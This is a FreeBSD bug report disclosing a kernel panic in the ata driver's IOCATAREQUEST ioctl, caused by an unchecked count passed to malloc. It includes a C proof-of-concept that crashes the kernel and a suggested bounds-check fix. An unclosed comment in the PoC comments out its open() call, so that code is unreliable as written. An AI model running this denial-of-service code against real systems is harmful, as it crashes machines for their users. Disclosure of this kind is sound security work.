kern/135922: fbsd 'ata' driver kernel panic DoS (ioctl)

[Shaun Colley]

>Number:         135922
>Category:       kern
>Synopsis:       fbsd 'ata' driver kernel panic DoS (ioctl)
>Confidential:   no
>Severity:       non-critical
>Priority:       low
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Jun 22 16:20:01 UTC 2009
>Closed-Date:
>Last-Modified:
>Originator:     Shaun Colley
>Release:        6.0-RELEASE,   8-CURRENT
>Organization:
NGSSoftware Ltd.
>Environment:
>Description:
An specially crafted ioctl request can be made to the ata device driver to cause a kernel panic.

ata_device_ioctl() in dev/ata/ata-all.c has the following IOCATAREQUEST option.


---
 483     case IOCATAREQUEST:
  484         if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
  485             return ENOMEM;
  486         }
  487         if (!(request = ata_alloc_request())) {
  488             free(buf, M_ATA);
  489             return  ENOMEM;
  490         }
  491         request->dev = atadev->dev;
  492         if (ioc_request->flags & ATA_CMD_WRITE) {
  493             error = copyin(ioc_request->data, buf, ioc_request->count);
  494             if (error) {
  495                 free(buf, M_ATA);
  496                 ata_free_request(request);
  497                 return error;
  498             }
  499         }

 [..........]

---

ioc_request->count is under user control, and this is passed to malloc(9).  If a very large integer is given in ioc_request->count, kmem_alloc will choke, resulting in a kernel panic.  ioc_request->count should be sanitised..

The kernel panic can be reproduced with the code below (in 'how to repeat the problem').  A panic in kmem_alloc will occur.

Obviously you need read access to the ata device in /dev to be able to open(2) it, which mitigates the attack somewhat (though could be chained with some other symlink/race condition bug to get the privs needed...).

The latest driver code is vulnerable.

Give it a try and report back, cheers.
>How-To-Repeat:
---
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>

struct ata_ioc_request {
    union {
	struct {
	    u_int8_t            command;
	    u_int8_t            feature;
	    u_int64_t           lba;
	    u_int16_t           count;
	} ata;
	struct {
	    char                ccb[16];
	} atapi;
    } u;

    caddr_t             data;
    int                 count;
    int                 flags;

    int                 timeout;
    int                 error;
};


#define IOCATAREQUEST           _IOWR('a', 100, struct ata_ioc_request)

int main() {

int fd;
struct ata_ioc_request evil;

evil.count = 0xffffffff;   /* large integer passed to malloc(9)
fd = open("/dev/acd0", O_RDONLY);  /* one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;    
}
---

(hopefully I didn't mess the code up when I was pasting it)
>Fix:
I'd write a patch but I'm not running with fbsd right now.  ioc_request->count should be sanitised.  Is there a reason why ioc_request.count is a signed int?  Could make it unsigned and then just do a length check

if(ioc_request->count > PAGE_SIZE) return  ENOMEM;

or something.

>Release-Note:
>Audit-Trail:
>Unformatted: